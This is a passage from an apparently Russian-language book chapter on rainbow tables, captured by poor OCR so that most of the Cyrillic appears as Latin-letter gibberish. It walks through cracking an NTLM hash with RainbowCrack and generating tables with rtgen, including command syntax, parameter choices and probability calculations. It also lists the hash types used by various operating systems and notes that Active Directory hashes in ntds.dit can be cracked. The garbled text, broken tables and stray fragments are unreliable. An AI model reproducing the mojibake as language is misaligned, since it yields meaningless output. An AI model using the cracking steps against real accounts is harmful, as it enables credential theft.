Linux 64-bit (x86_64)
Windows XP/Vista/7/8 32b
Windows XP{Vista/7/8 64b
Linux 32-bit (x86)

Linux 64-bit (x86_64)

! Puc. 7.17

1.6

15

B kaknaplii KOMIUIEKT BXOOUT HECKOIBKO YTHJIMT, KOTOpbIE€ MO3BOJIIOT N€HEPHUPOBATH
TaGJIULIBI, COPTHPOBATH, YIIAKOBBIBATh, OCYIIECTBIIATH MOMCK Mapoieii B paxyKHbIX Ta0-
JTALAX. ‘

TTocne 3anmycka yrwmarsl rerack gui.exe B menio File BeiGepeM komanny Add Hash...,
BBegeM 3HadeHue xom-Qpynkumn NTLM mis napons, koTopsii TpeGyercs "BCKPHITH"
B HaleM dKCIIepUMeHTe (X3Mm-(pyHKIIO MBI CreHepUpOBai uiA mapois 123abe B x3mi-
KaneKynarope) (puc. 7.18).

Add Hash

9C99393BFE3COA9SDEBAGDCBOB12B43

Puc. 7.18



Padyxuble maGnuupl, unu He sce e padyxHom useme . 219

Rainbow tables ana NTLM xauwen
loweraipha-numeric1-9 Part1

Puc. 7.19
Tabmae! o6mumM pasmepoM 123 I'Gaiit mis B3noMa OBUTM CKONMPOBAaHBI HAa JKECTKMIA
JHCK ¢ ToppeHTa (puc.-7.19).

Ilpn nomwmoveHuH Tabnun (a MOAKMIOYECHHE IPOM3BOAWIOCE Yepe3 MeHIO Rainbow
Table, 3arem — Search Rainbow Table in Directory...) u nainee, yxe mpu B3ioMe,
B okHe Messages psmo,ummc'b CeayIoImue CoOOmeH s:

rainbow tables to be searched:

C: \Kuura\ Pamyxurie Tabmar\HaBop 2 -NTLM c rroppen'ra\ntl.m loweralpha—numerlc#l—
9_0_50000x67108864 dlstrrtgen 0.rt

... (o1 sKOHOMIGM MecTa 6oJbmas YacTh COOOmMEeHVm1 BapesaHa)

C:\Kuyra\Pamyxuue tabmam\HaGop 2 -NTIM c ToppeHTa\ntlm loweralpha-numeric#l-
9 2 50000x67108864_distrrtgen 37.rt

C: \Kuura\Panyxure TaOiimi\HaGop 2 -NTIM c Toppewra\nt]m__loweralpha-numeric#1-
9 2 50000x67108864 distrrtgen 38.rt

C:\Kuyra\Pamyxure Tabmupi\HaGop 2 -NTLM c'ToppeHTa\ntlm_loweralpha-numeric#l-
9 2 50000x67108864 distrrtgen 39.rt

2066022400 bytes memorj} available
1 x 536870928 bytes memory allocated for table buffer
800000 bytes memory allocated for chain traverse

disk: €:\Kumra\Panmyxueie TaGmue\HaGop 2 -NTIM c ToppeHTa\nthn_loweraipha—
numeric#1-9_0 50000x67108864 distrrtgen O.rt: 536870928 bytes read

searching for 1 hash...
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disk: C:\Kuwira\Pamyxuee Ta6mup\Habop 2 -NTIM c ToppenTa\ntlm loweralpha-
numeric#1-9 0 50000x67108864_distrrtgen_0.rt:A536870896 bytes read

searching for 1 hash...

disk: C: \Knmra\Pannyme rabmun\Habop 2 -NTIM c ToppeuTa\ntlm 1oweralpha—
numeric#1-9_0 50000x67108864 distrrtgen l.rt: 536870928 bytes read

searching for 1 hash...

disk: C:\Kumra\Pamyxuue TaﬁnuuH\Haéop 2 -NTIM c ToppenTa\ntlm . loweralpha-
numeric#1-9 0 50000x67108864 dlstrrtgen 1l.rt: 536870896 bytes read

searching for 1 hash.
. (ona SKOHOMII MecTa GoJbmas YacTh COOCmMEeHME! BHpe3aHa)

disk: C:\Kumra\Pagyxuue TaGimup\HaGop 2 -NTIM c ToppeHTa\ntlm loweralpha-
numeric#1-9 0 _50000x67108864_distrrtgen 16.rt: 536870928 bytes read

searching for 1 hash...
plaintext of '89c99393bfe3c0a95debabdcb0bl2b43 is 123abc
disk: thread aborted

statistics \

plaintext found: 1 of 1

total time: 213.81 s

time of chain traverse: 200.72 s

time of alarm check: 9.48 s

time of wait: 0.00 s

time of other Operation: 3.62 s

“time of disk read: 100.81 s

hash & reduce calculation of chain traverse: 2293108272
hash & reduce calculation of alarm check: 112003263
number of alarm: 6776 )

speed of chain traverse: 11.42 million/s

speed of alarm check; 11.82 millioh/s

Banom Hatmnancx cpasy Hocle MOMKITOYeHNUS TabuAL (npanna, Kakoe-To Bpewl KaKeTes,
9TO AKOOHI HHUEro He nponcxonm, M TOJIKO CITyCTA NPUMEPHO MUHYTY TOSBIAETCS TI0-
TOK COOGTICHMIA), ONONHUTENHHO HAKHMATh KHOMKH He TpeGyercs. PesynsTaT BBIBO-
aures B iosie Plaintext (puc.. 7.20).

Hexoropsie rlonyqeme'Ie C TOPPEHTa TaGJHITEI OKA3ATHCH HeMCIpaBHbIMK ("GHTEIMH").

Hpmu,cp coobmenna mporpaMMsi rerack, Koraa YacTh TaGuuLL, B3SATHIX HA Toppemax, no-
najgaérca He pabounmm:

Ntlm loweralpha-numeric#l-9 0_50000x67108864_ distrrtgen 29.rt verify fail
' ntlm loweralpha-numeric#1-9_0_50000x67108864 distrrtgen 33.rt verify fail
ntlm;loweralpha—numeric#l—9_0_50000x67108864_distrftgen_5.rt verify fail
ntlm loweralpha-numeric#1-9 1 50000x67108864 distrrtgen 1l.rt verify fail
ntlm loweralpha-numeric#1-9_1_50000x67108864_distrrtgen 25.rt verify fail
ntlm loweralpha-numeric#l1-9 1 50000x67108864 distrrtgen 32.rt verify fail
ntlm loweralpha-numeric#l-9 2 50000x67108864 distrrtgen 25.rt verify fail
ntim loweralpha-numeric#l-9 2_50000x67108864 distrrtgen 28.rt verify fail
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RainbowCrack 1.5

B 89¢99393bte3c0a95debasdch0bl2h4a3 @ ' 313233616263

total time: \ -, 213.81 s

time of chain traverse: 200.72 s

time of alarm check: 9.48 s

time of wait: 0.00 s

time of other operation: 3.62's
time of disk read: . 100.81 s
hash & reduce calculation of chain traverse: 2293108272 .
hash & reduce calculation of alarm check: 112003263
number of alarm: 6776
speed of chain traverse: 11.42 milliony/s
speed of alarm check: 11.82 million/s

Puc. 7.20

PexoMeHaanusa: He MOATPY’KaTh B IPOrpaMMy MMEHHO 5TH Tabmuipl, ¢ Gonbmoi cre-
TIEHBIO BEPOATHOCTH MCKOMBIM Mapoiib He HaXOMUTCA HENOCPEICTBEHHO B HMX. [list 3T0-
ro, KOTZia BBI TIOJIy4HUTe IOXOGHBIE coObIIeHns, "OuThIe" TabIHIBl IPOCTO CIIEAYET yaa-
JIMTH U3 KaTajiora, OTKya MPOM3BOJUTCS MX MOAKIIOYCHHE B IIPOrpaMMy.

B HaGope mporpamMm c caiita project-rainbowcrack.com cyimecTByeT Takke BapHaHT
rcrack, ucnonp3yromuii Bo3MoxkHocTH TexHosiorud Cuda' (ns NVIDIA). Tlpumep B3io-
Ma TaKo# BepcHeii npuBeneH Ha puc. 7.21, zamyck rcrack _cuda ocymmecTBIsUICS HaMHU M3
KOMAaH/HOM CTPOKH. ' '

Puc. 7.21 .

B kavecTBe BKCHEpUMEHTa OBUI TPOM3BENEH B3JIOM I X3M-QYHKIMH C MaposieM
qwertasd (puc. 7.22).

Pa6ora rcrack_cl.exe, momueprxusaromas Texsonoruo OpenGL (a1a AMD), anajiorn4sa
pab6orte rcrack_cuda.

1 O npumMenermu Texaonorm Cuda MBI yke yIOMUHATM B NPEIBULYIIHX TIABaX KHHTH.



. aea7

hai

}\Cl nel runtime 1is

3622.4

of chai verse: ?4985@5 %
cf alarm c} <

s check:

T“. 2afd?33¢c

HET: npunuammwl Ha

hex:?177657274617364

-1.5-win32 \rainboucrack— ¢ rpaocuy

e
THTE A0E YD KAaBKuy

Puc. 7.22

CuenaeM HeGoOMbIIUE BHIBOABI 110 HallleMy KPaTKOMY HcclieoBaHuIo (Tabu. 7.1).

Tabnuuya 7.1

HaunmeHoBaHue
nporpaMmei gns
paboTtbl ¢ pagyx-
HbIMK Tabnuuamm

MNpeumywecTBa/HepOCTaTKMY,
ocobeHHOCTH

Mpumeuanue

Opcrack

BbicTpbiii B3OM Ans naponey Ao 12 cum-
BOJIOB JJVHbI, BKNIOYAIOLLX BCE CUMBOSb
naTUHCKOro andasuTa U CNeLCUMBOfbI,
Ho Tonbko Ana Windows XP. [1ns 6onee

- Bbicokux Bepcuit Windows 6ecnnatHsie

Tabnuubl Ans 6-CUMBONBHLIX NAponew;

BN 6onee CrnoXxHbix Naponen Taanu
: B cBOOOAHOM AOCTYNE HET

MpumeHeHUe oaMHaKOBbIX
naponev agMUHMCTPaTopamu
OJHOBPEMEHHO B yCTapeBLUei
Windows XP u B apyrux cucre-

' MaxX -MOXeT AaBaTb 310yMbliLL-

FNEHHWKY LWaHC ANns KoMnpome-
Tauum naponein B bonee sawyu-
L{eHHbIX cucTemMax )

Cain - C

BOfbLIE NOAXOAUT KaK yuebHasi nporpamma

"Rerack

,Hennoxaﬁﬂporpamma VlMeIOTcsl BapuwaH-
Thl, NOAAEPXMBatoWMe TexHonoruio Cuda
1 OpenGL (xoTs B3nom u 6e3 Ucnonb3o-

BaHWA MOLLHOCTeN rpacdmyeckux agante-

'POB NPOUCXOAUT O4EHb BBICTPO).

Mo3sonseT ucnonb3osaTh "cCraHaapTHbIE"
copmatbl Tabnuy (*.rt), npasaa, HyXHble
HaMm TabnuLibl MMEIOT O4eHb Gonblumne

pasmepbl. Ho umeeTcs ytunura ans npe-

obpasoBaHusi Tabnuu B 6onee kOMNakT-
HbIW BUA.

Hepocratok: B Tabnuuax, KOTopbie Mbl
Hawnu B8 cBobogHoOM goctyne, nubo Tonb-
KO NponucHble, AMG0 TONbKO CTPOYHbIE
CUMBONbI

Pa3spaboTumnku aTOM NPOrpaMMbi

' Ha CBOEM CaiiTe nNpocAT 33~
- HaBop xopolumx Tabnuuy, Teicauy

Aonnapos (BbicbinatoT Habop
Tabnu BMECTe C XEeCTKUM auc-
KoM). Ha ToppeHTax umetorcs
BapuaHTbl Tabnuy ans pasnuy-
HbIX KOMOUHALWMIA UCXOAHBIX
CUMBONOB W A4S INHbI, C KOTOPbLIMU
MOXHO MO3KCNEPUMEHTUPOBATD
Ans npoObl, HO HekoTopble
Tabnuupl "OuTbie"
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7.2. FeHepauums paayXHbix Tabnuu
B AOMAaLIHUX YCNOBUAX

Ecim TpeGyroTcs Xppomue pajyKHsle TaGAHIIBI (Y XaKepoB Talcﬁe TaOJHIBI €CTB), YTOOBI

CIKOHOMHTB THICATY JOJUIAPOB, M Y BAC €CTh CTO APy3eH, TO BBl MOXKETe OpraHM30BaTh

FEHEPALMIO PafY)KHBIX TA0ONHL, MOPYYHB KAKIOMY H3 Apy3eil CAenaTh CBOH KyCOYeK.
3ameTHM: y aBTOpa 3To# KHHTH HET CTa Jpy3eid, OHH BPard, MO3TOMY HET M XOPOUIMX

Tabmum,.

JIlns reHepaupu OPOMEHSIOT YTHIMTY  rigen. exe, Janee ¢ MoMOompio rtsort.exe HYXHO

OyzeT eme BHIIONHHTL COPTHPOBKY. TaGNHII TOCHE COPTHPOBKHM CTaHYT pa6orocno-

co6HbIME (HECOPTHPOBAHHEIC TaOML(GI MPOTPaMME! He TIOIIIOYAIOT) H HaUYHYT MPHOO- -
peTaTh pasyMHBIE pa3MephL.

CHHTaKCcHC 3allyCKa IPOrPaMMBl TeHEPaliy ClIeyIOMHA:

rtgen hash algorithm charset plaintext len min plaintext len max table index
chain len chain num part index

YroObl NONYYHTH Ui MpoOHl Be HeGONbIIFe TabMMIEI, HCIONB30BAIMCEH CIIEXYIOMHE

napameTpsL:

O hash algorithm— mwia reHepamuu NTLM-xsma ecrecTBeHHO yKakeM 3HaYeHHE
ntlm;

O charset — Ui T€HEpALMH C MCIONH30BAHHEM BCEX CHMBOJIOB KIIaBHATYPHI - (JIATHH-
CKHe CHMBOJIBI) OyzieT 3Ha9eHHe ascii~32-95 (Bcero 95 cuMBOJIOB);

O plaintext len min — MHHHMAJIBHYIO IUITHHY Napois YKaKeM 3;

Q

plaintext_len max — MaKCHMAJIBHYIO JUIMHY [apOJisl YKKEM 3;

O table index — JyIs mepBo# TaGnmip! (ee PeHéppre'r BalI TIEPBBIH IPYT) YKAKEM O,
I nocnemHei (¢ TPYHOM OTBICKAIH JIBOMX Ipy3ell, IpAYEM OIMH M3 HHX — CaM
aBTOp, a BTOPO# — ero xeHa) — 1 (I =2);

O chain.len— JIMHA LENH; JOMYCTHM, yKaxeM 250 (B.CBOeM MpAMepe PaspaboTuHKy
HCIIONE30BAIH 3800; KOL/A MOJIe OrPOMHOE, 9TOGH! TaG)HIIbI TONYYATHCh PasyMHOTO
pasMepa, JUIHHY LETIOUKH HYXHO [eNaTh Gonbie; HO HeM Golbe JUTHHA LieTIH, TeM
GoMbIIIE YHCIIO KOJUIH3MH B 3TOi [, IO3TOMY HY)KHO HAXOJHTh KOMIIPOMHCC TIpH
BEIOOpe 3TOr0 mapamerpa) (1 = 250);

O chain num— 9T06H Bblﬁpa'm 3T0 3HaYCHHE, cHavana onpeaenmnM key space, (mpo-
CTPAaHCTBO BCEX Mapoieif), Jyis 9ero HOCYMTaeM 95 =867 375 (N=867375), T.e.
KOJIHYECTBO BCEX CHMBOJIOB (CM. charset) B TpeThel CTeNeHH (T. K. len max = 3). 3a-
JaJMM KOJIHYECTBO mpeoOpa3oBaHmii napojieii Bo Bcex Tabimuax Gonmbme, 9eM mpo-
CTpaHCTBO Bcex mapoieii, B 10 pa3s (110 aHAJIOrHM ¢ MPHEMEPOM Y pa3paGoTYHKOB, OHH
Toxke Opamu pa3 B 10 Gombme): 867 375 - 10 =8 673 750. Paznenum 310 3HaYeHme
Ha 2 (koymrdecTBo Tabymm) 8 673 750 : 2 =4 286 875. Pazpemam 4 286 875 Ha minmy
uenouku: 4286 875:250=17147,5~17 148 — 310 u Oymer Hame 3HAYCHHE
chain num (m = 17 148);
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O part_index — T. K. B HallleM 3KCIIEPHMEHTE MOJIe MapoJieit (TIPOCTPaHCTBO BCEX Iapo-
JIei) HEBEJIMKO, TO BEICHPAeM 5TOT [IapaMeTp PaBHBIM 0, T. €. He HoNb3yeMcs pasbue-
HHMEM Ha (aiisl 1 oxHo# Tabmuml. [Ipy GoblImx 3HAYSHUIX TOJIA ITapaMeTp HyXK-
HO IPUMEHATh. 3HaYeHHe NapaMeTpa BIHAET Ha KOMMdIecTBO (aiioB it oxHO# Tab-
quier. YToOs! IPUKHUHYTH, CKOJIBKO MeCTa 3afiMeT OfHa Tabiuia'B GaiiTax, MOXHO
HallTH HpOM3BENEHME chain num- 16 (T.K. JyiMHA OnHOM Henouku — 16 .GaifTos).
Ecnu HyXHBI MeHpIIHE pa3Mephl (aiifioB, TO NPHKUIBIBATE MOXHO TaK: HaIpHMeD,
MBI XOTMM mony4are 3 daiina mia TaGnuiel, TOrAa HYXHO ObUIO OBl yMEHB-
AT chain num B 3 pa3a, T.e. 17 148 : 3 =5716, a part_index NpuHAMAaJI ObI 3HaYe-
HUA 0, 1, 2. :

O603Ha9eHNs HEKOTOPHIX TAPaMeTPOB, ykasaHHsle KypcusoM. (/, #, N, m), moHaxoGsTcs

HaM dyTh T03Xe IS ONpEeICHHA BEPOATHOCTH yerexa npy paboTe ¢ Tabiumamu.

Takum oGpa3om, pH reHepaiyu TaGIHIl I TPEXCHMMBOJIBHBIX 3HAU€HUH Tapolied (He
IyTaTh TPEXCHMBOJIBHEIH Maposs ¢ BapuaHToM "oT 1 0 3") Ham Tpebyercs caenats JBe
oIepayH:

rtgen ntlm ascii-32-95 3 3 0 250 17148 0

U

rt‘:gen ntlm ascii-32-95 3 3 1 250 17148 0

Hy>XHO y4HTHIBaTh, 4TO MPH 3aIlycKe rtgen ucroip3yet 6ubimoreky alglib0.dll 1 xondu-
rypaioHHbIH (aiin charset.txt ©3 MOTHOro KOMIUIEKTA IPOrpaMM.

Jlns1 5KOHOMHH MecTa MPHBEJIEM TOJIBKO OMH CKPHMHIIOT 1O Pe3yJIbTaTaM paGoThl Hpo-
rpamMMBel, T. K. BTOpO¥ aHaJIOTH4€eH nepBoMy (puc: 7.23).

B pesynbrate noay4uM e Tabuuis (puc. 7.24).

Puc. 7.23
[Bntim_asci-32-9543-3. 0 250x17148 Ot 268K5  ain "RT" 22.07.2014 10:49
ntin_asci-32-05¢3-3 1 Z50x17148 00t 268K5 daiin "RT" 22.07.2014 10:52

Puc. 7.24
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KoMananad cTpoka

1 256Gx17148 _8.vt:
J}*y available
vw tahle.
g raxn}mu table end wpoint.
LIE 1f1nq sorted rainbow table..

“Puc. 7.25

Tociie reHepanyy TabIMI BBINOTHAM MX COPTHPOBKY, 0€3 MpoBeICHUsA 3TOI/I MPOLIEAYPbI
tabnuip! pabotats He OymyT (puc. 7.25).

IIpoBeprm paGoTty TaGaMIBI HA X3M-GYHKIUH I TIPOCTOrO TPEXCHMBOJIBHOIO Mapois
(puc. 7.26).

KorMangHan cTpoka

Puc. 7.26

Eciu BHI emne He yCTanﬁ, ans 6osee rry60KOro MOHMMaHHS, MIPOLIECCa TEHEPALMA PajIyXk-
HBIX Tabmuil npuzercs obpatutees k pabore Philippe Oechslin (Laboratoire de Securité
et de Cryptographie (LASEC) "Making a Faster Cryptanalytic Time-Memory Trade-Of™).



226 i . Fnaga 7

OTO0 HE MBI TaK PEIIIITH, BOT LIMTATA C caiita pa3pabordamka mporpammel rerack: "To fully
-understand the meaning of reduction function and the structure of rainbow table, reading
of ‘Philippe Oechslin's paper is necessary"‘ He 6ynem JlaBaTh 31E€Ch CCHUIKY, T. K. OHA
NOYEMY-TO He BCErZia cpabaThIBaeT, a peakTOpHI He moGsrr IUI0XO paGoTAIOMHE CChUIKH.
Ho BBI M caMu MokeTe HalTH ee (CCBUIKY) B JOKyMEHTaHMH I10 reHepauuH TalbJHi Ha
caifte pa3paboT4MKa 3TOro 3aMeqaTeJILHOro Habopa mporpaMm.

C OeNbio ONpeieieH s BEPOATHOCTH YCeXa BIOMA MApOJis ¢ TIOMONIBIO TOMyYeHHBIX
Tabmm HeoOXOAUMO BOCIIONE30BATCA ¢dopmynoii w3 ynomsHytoro Tpyaa Philippe
Oechslm

i=l j=0

B sr10if dopMyne 3HadeHMs OyQyT COOTBETCTBOBATh CIICAYIOIMM HAlIMM NAHHBIM (BOT

KOrZla HaM MOHAJo0umich 0003HaYeHNsA, BBEICHHBIE HAMH B paHee paccMaTpyBacMoM

npmvlepe) P — BepOSTHOCTP yCIieXa IpH HaXOXKJCHHH [apois B Taﬁmme N =867 375;
=17 148; t=250; [ = 2.

Hpoﬁnema B TOM, YTO ITapaMeTphl, KOTOPbIE MBI B35UH JUI1 HAMIEro NpHMeEpa, HE OYEHb-
TO MOAOHIYT IJI pacdera mo 3Tod ¢opmyne. B cBia3m ¢ TeM, 4TO NpOH3BENCHHE mi
6onsme N, ux oTHomeHHe Gyzier GONbIE €AMHHUIEL, YTO CBOAMT Ha HET BCIO GopMyiy,
T. K. TIOJy49eHHbIe 3Ha4eHusa OyIyT BBIXOAUTH 3a IpeJelibl BepPOATHOCTHBIX 3HAYCHHH
(BeposTHOCTH — wHCIO 0T 0 710 1, a s TOro YroOBl 3TO BRIMOIHAIOCH B 3T0H (opMyne,
Heo0X0MuMO, YTO0EI dmoinenne mt/N Gpl10 MeHbIIe emmmm)

HonpoﬁyeM rlponec'm 3Kcnep1mem YIO TeHepaiiiy emie ABYX BapHaHTOB ‘Tabmn, pac-
CUHMTaTh COOTBEICTBYIOIIHE BEPOSTHOCTH, a TAKKE OTHICKATb TIAPOIH C, UX MOMOIIBIO
(w1t OmbITOB HAMK OBUT M3rOTOBJIEH (aiiil ¢ coTHeH X3M-pyHKLMIA /U1 cTa TIpON3BOIE-
HBIX' Tpexcmmomm.rx napojieii u3 Haﬁopa CHMRBOJIOB ntlm), 'ra6J1 72. :

Ta6nuya 7.2
| | ' O6uwit
. Homep . " { Pesynbtar Homep ;
3KCnepuMeHTa | Banniie R ‘_.(a'ep‘omom) ‘| pucyHka 'gac::"}gﬁnuu
1 | N=867375 - [P=? | Puc. 7.27 | 535 KGaif
lm=17148 1 He noanaercs sbncnenvio,
) t= 250 . | B.pesynbTaTe IKCNEpUMeHTa
" {-%3 100 naponeit 6bln0 BCKpPbi-
_ | Tes8 , . -
2 1 P=054. : Puc. 7.28 | 2,69 M6aitr
B pesynbTare aKcniepuUMeHTa
t=5 u3 100 naponen 6b10 BCKpbI-
(=4 70 51

_! Yro6B1 MOMHOCTHIO TIOHATH CMBICT OCTAGNEHNs BYHKIMH 1 CTPYKTYpPhI Pany>kHOH Tabimupl, He06X0qMMO
npogutaTh crarbio @wmima Oxcmasa (Philippe Oechslin).
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Tabnuya 7.2 (okoHYyaHue)

' . O6wWwumn
Homep PesynbTtar Homep
3KCnepuMeHTa Ranueie ' | (BeposiTHOCTBL) pUCYHKa gz:;‘igs iy
3 N =867 375 P=0,99. Puc. 7.29 | 14 MGaiit
m =42 000 B pesynbTare aKCnepuUMeHTa
t=8 13 100 naponei 6bI510 BCKPbI-
' (=22 T0 100

» gopepation:
¢ read:

of

Puc. 7.28

& 3

total time:
time of chain
time of alarm
of wasi .

n of chain traverse
latien of alarm check:

number of alarvm:
speed of chain travers
speed of alarm chec

Puc. 7.29

millionss
millien/s

million/s
million/s
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THoCTu.xls

¥BAProject (Pacuer Be|

s - Module2 {(Cade}

BH) Muct1 (fnetl)

, EH) Mner2 (Mner2) .
Knonra2 UenasHyTs ()
m = Sheets("nuc'frZ"] Range ("A1")
t = Sheets("bec'rZ") Ranget"AZ")
1 = Sheets("JlncT2") .Range ("A3")
N = 867375
Fs =0
x =0
P=0 ! N
For i =-1 Towm
s =10
"For 3 =1To t
o s=g+{l-1iftt /N~
m Next
8it X=X +8
S22 Next v R
0,9894415:P P=1-({1-x/N) *~1
162080,15: Sheets ("lucT2") .Range ("44") = P
1,5500959 Sheets ("JIncTZ") .Range ("A5") = X
42001 Sheets ("JucT2") .Range ("A6") = s
g Sheet._s("mm:'rz ") .Range ("A7") = i
Sheets ("JIncT2") .Range (YA8") = j
End Sub
Puc. 7.30 \

Jinst obneryeHus pac4eToB BEpOSTHOCTH Henonb3oBaics Makpoc B Excel (puc. 7.30).

BHIBOJI: KOJIHYECTBO TAGNHI] 3HAYMTENHHO BIHAET HA BEPOATHOCTh YCTIEXa NPHMEHEHHS -
3THX TabUL. DTO YHCIIO HYXKHO yBeIHYMBATh (3TO BHAHO M 10 dopmyne). Msydas mpo-
IrPaMMBI, SKCTIGPHMEHTAMH MBI (balc'mqecm TIOATBEP/IIH - pe3yJIbTaThl, NpPHBEICHHBIC
B TeopeTraeckoii pabore Philippe Oechslin. -

Tocne npuMeHeHus YTAMTEL rt2rtc 1 npeoGpa3oBaHys TaGlIkIl B KOMIIAKTHBIH GopMar
(xoHKpeTHO, A1 TaG/IAL, NIOMY4EHHBIX B TPETbeM NPHMEpE) MBI HOTYTHIH OGMimiA pas-
mep Tabmur 3 SZMGam nporuB 14 MGaiftr no ymnoraerns. Ilpu 3roM TabGmwmr octa-

JTACH MOJHOCTHIG a60'rocnoc06fmmn — W3 CTa 3HaYeHMH x3m-(pyHKImH GBUIO BOCCTa-
HOBJIEHO CTO TTAPOJIEH.

CHHTAaKCHC R®MaHIBI VIS TIOMydeHHs KOMITAKTHBIX TaGJHMLl IpH 3TOM HCTIOTB30BANCA
CJIC Y TOLIIMIA: -
rt2rtc.exe *.rt 16 15

rie 16 W 15— COOTBETCTBEHHO MHHMMAIbHEIE 3HAYEHHSA start point bit H
end point bit, IPeJIOKEHHbIE B KauecTBe MOACKa3KH CaMO¥i MPOrpaMMOH.

i . .
K coxaneHmio, MbI He MOXKEM PacCy XIaTh O PaXy KHBIX TaOlIMIaX BeYHO, HY)KHO KOTZa-
TO ¥ ocTaHOBUTECA. HO Henp3s He ckasaTh O CyIMIECTBOBaHMM Mporpammel RainBows
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Crack Calculator"(h&p-;’//ﬁifﬁﬁ;s’ﬁn.com/jathias/).’ prrpamvla MOXEeT OKa3aTh IOMOIIb
B noAGope. TapaMeTpoB NpH FeHepalK paIyHBIX Tabiwun (1 Aadke [O/ICKA3aTh CHHTAK-
CHC - KOMAHIHOH CTPOKH), HO, K COXKAJICHMIO,  HE UId BCEX BHIOB X3M-(yHKIMA
(puc. 7.31). o '

Puc. 7.31 |open-hide.biz | ' ,

Maio xT0 3HaerT, uTo u B koMmiiekre Cain & Abel Taoke ecTh porpaMMa UL reHEpalyu
pamyXHbIx Tabmui. IIpOHCXOUT 3TO MOTOMY, YTO BbI30Ba IPOTPaMMBI, IIPEIHA3HAYCH-
HOM U1 reHepamwy, w3 ocHOBHOro Memio Cain Her. OHa mpsdercs B Karaiore, Kyna
ycTaHoBIIach Iporpamma Cain) no ciresyromemy myta: \Programm Files\Cain\Winrtgen.

3ameruM, uyTo B mporpamme Winrtgen 60,m:inoﬁ BEIOOp TUTIOB X31mel, Ho NTLM novemy-
To HeT (puc. 7.32).



Mixxx
Текстовое поле
open-hide.biz
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7.3. O6nacTb NpMMeHeHUs1 paayXHbiX Tabnuuy,.
MeToauka B3nioMa nNapons ¢ UCNONb30BaHNMEM
x3aw-cpyHkuumn u3 6a3sbl Active Directory cepBepa

3akoHUMM ¢ reHepanueii Tabmm. 1 BepHeMcs HeMHOro Hasaj, Ko. BajioMy. B kadecTse
MPAMEPOB MBI UCCIICIOBATH NPHMEHEHHE PaXy>KHBIX TaGIuI TONMBKO IS B3JIOMa MapoJis
JIOKATBHOTO TIoNB30Batens Windows, HO B J€HCTBHTENBHOCTH 06/IaCTh HCTIONb30BaHHUS
xam-ti)ymclmﬁ B MHOOPMALMOHHBIX TEXHOJOTHMAX OYEHb OOIIMPHA, COOTBETCTBEHHO
mnporco TPUMEHEHUE U pa.u;ymm Ta6u.

Eme IpocTo Wi munoc’rpamm, XOTeNOCH GBI MPHUBECTH COOTBETCTBHE IMPHMEHAEMbIX
THHOB X3MI-YHKIMH /11 HEKOTOPHIX ONEPAalMOHHBIX CHCTeM (HE BOCTIPHHMMAaiiTe 3TO
KaK CTOIPOLIEHTHO JOCTOBEPHYIO CIPaBOYHYIO HH(GOPMAIMIO, T. K. THII MOXKET 3aBHCETh
OT KOHKPETHOM BEPCHUH CUCTEMBI):

O Mandriva Linux: OpenBSD. BlowFish;

0 Ubuntu Linux/Backtrack: SHA-512 (UNIX);

O Debian Linux: MD5 (UNIX); ’

O OpenSuSe: OpenBSD BlowFish;

O RedHat Enterprise Linux/CentOS: MD5 (UNIX); :
O Fedora: SHA-512 (UNIX);
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O Solaris: SHA-256 (UNIX);

O HP-UX: SHA-512 (UNIX);

O IBM AIX: SSHA-1;

O Gentoo Linux: MD5 (UNIX);

O Slackware Linux: MD5 (UNIX);

0 MacOS X: SHA1 (SALTED),

O FreeBSD: MD5 (UNIX);

O OpenBSD: OpenBSD BlowFish;

O NetBSD: BriGpouno — DES (UNIX), MD5 (UNIX), OpenBSD Blowfish, SHA-1

(UNIX),
O Arch Linux: MDS5 (UNIX), SHA-512/SHA-256...

ToMBKO OOMH 3TOT MPUMEP HATJLAHO AEMOHCTPHpPYET, Kak BeJIHMKa 001acTh IPUMEHEHUA
paxy XHBIX TaGJIHII: HACTOJHKO, HACKOJIEKO BoOoOImIe oOmupHa 061acTh MPUMEHEHMS Xo1I-
¢ynxumii! Tak 910, MMES CTO, 2 MOXKET GBIT, M ABECTH APYy3€id, Bbl CIIOCOOHBI M3rOTO-
BUTb MHO)KECTBO Pa3sHOOOpA3HBIX, KQYECTBEHHBIX PATy)KHBIX TaOJMIl U OTKPHITH CBOM
caliT 1o ux mpojaxe, cOuB HeHy HHo3eMilaM. [Ipu 3ToM, ecM Bbl BA0OaBOK elie cieliae-
Te TaGJIHIBI ¢ CHMBOJIAaMH KHPHUTHIIB, TO 3T0 Boobe 6yaeT SKckmo3uB. Beimeonucan-
Hble IporpaMMel (rtgen) MpeKpacHo MO3BOJIAIOT HCIIONB30BaTh M KMPWLIHIYY (MBI Ipo6o-
BaJIH).

Hyx#Ho Takxke NMOHHMATh, 9TO, NOMYydHB Qaill ¢ X3m-pYHKIMIMH Napojied MHOXECTBa
NOJIE30BaTeNlel CHCTEMBI, JOYMBIILIEHHHK MOXKET IMPOM3BECTH PACIIH(POBKY CIIMCKOM
(IporpaMMBI 3TO MO3BOJIAIOT) M CPEIH MHOXECTBA NApOJIeH JIErKO Ha¥TH IOJIB30BaTENA
¢ 6ompmMMH ITPUBHIETHAMH, Y KOTOpOro ciiabeiii napons. [IpudeM BpeMs BOCCTaHOBIIe-
HMA [apoJiell OT KOJIMYecTBa XAM-(YHKIMI 3aBUCUT HECYIIECTBEHHO, OUCK MAET cpasy
i1 BCeX 3HaYCHHH.

Bocnonp3oBaTees pagy)KHbIMH TaOJHIIAMH MOXKET He TONBKO Xakep. Hampumep, B cH-
TyaLyH, KOT/a BBl IPUMEHsAETE OIMH U TOT e Mapoiib KaK 1 yYeTHOM 3amuicH Gecruiar-
HOrO MOYTOBOro cepBhca B MIHTepHeTe Ui JIMUHBIX LEJeH, TaK M I8 YYETHOM 3amucH
B IoOMeHe Ha paborte, rae ucnois3yercsa Active Directory (Microsoft).

AIMHHHCTpATOp CETH C BamieH paboThl — 4YesIOBEK NMOAHOBONBHBIN, M B Clydae ocoboi
HY’KITbI BPAJI JIM OTK@KETCA TOMOYb HAYaIbCTBY "BTUXaps" MOYUTATH Bauly JHIHYIO 10Y-
Ty. Xom-pyHkimu naponeii Active Directory (AD) xpanstcs B daitne ntds.dit (myre —
%Windows%/ntds). O6nanas BceMH NpaBaMM Ha CepBepe, aZIMUHUCTPATOP MOXKET JIErko
PacKpeITh Baml napoib. He 3a0biBaeM, 9TO MBI M3y4aeM MMPOrpaMMHBINA HHCTPYMEHTapHit
¥ TIOTOMY HCHOJIb3YEeM BCAKHUM NOBOA, YTOOBI YHOMSHYTH emle Mpo KaKou-HUOYOs mpo-
